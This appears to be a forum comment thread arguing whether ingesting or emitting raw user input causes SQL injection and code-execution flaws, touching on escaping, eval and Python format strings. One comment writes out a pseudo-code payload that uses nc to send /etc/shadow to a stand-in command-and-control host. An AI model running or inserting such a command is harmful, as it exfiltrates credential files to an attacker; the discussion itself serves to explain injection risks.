5 ms·
ingesting raw user input is good emitting raw user input is bad
by foolfoolz 10y ago
ingesting raw user input is good
emitting raw user input is bad
- peller 10y agoIsn't SQL injection caused by ingesting raw user input though? Seems to me you always have to be careful with user-supplied data.
- meowface 10y ago"Ingesting raw user input is good if you only use it to interface with other systems that provide a way to separate data from instructions or at least escape strings."
- foolfoolz 10y agosql injection is commonly caused by combining your query with its related data parameters in unsafe ways. you are emitting raw user input you received to another program, the database, it's your responsibility to give this to the DB safely. you still have to be careful, and when you follow all the right best practices you can safely ingest raw user input. I've worked at a company that escaped user input before inserting into the DB. it's a horrible nightmare I don't think anyone should have to experience.
- halomru 10y agoI would have said that SQL injection is caused by emitting unescaped user input to your SQL server
- tlrobinson 10y agoIf I call eval(string) am I emitting unescaped user input to the eval function? I guess the definition of "injest" here is reading bytes off the wire?
- john_reel 10y agoIf string is unescaped user input, then yes, you are.
- mistaken 10y agoEven if you don't emit the input you can run commands on the server. You can open up a reverse shell or deduce data from timing based side-channels. IMHO working with raw user data is bad; it should be sanitized/canonicalized before doing anything.
- foolfoolz 10y agoif you're running commands on the server I would consider your program as emitting output directly to another program. it's up to you to make sure you call it correctly and not emit raw user data
- nitrogen 10y agoIt seems the format string can run commands on the server. I don't know Python, so this is a pseudo code example that a user could enter: "{system('nc c_and_c_box.example < /etc/shadow \ > /dev/null')} Nothing to see here, move along"
- cyphar 10y agoFormat strings in python are not equivalent to eval. The syntax looks similar, but it's actually limited to evaluating methods and list elements in a given object. Now, with Python's monkeys patchability this is worrying, but it's far from being eval.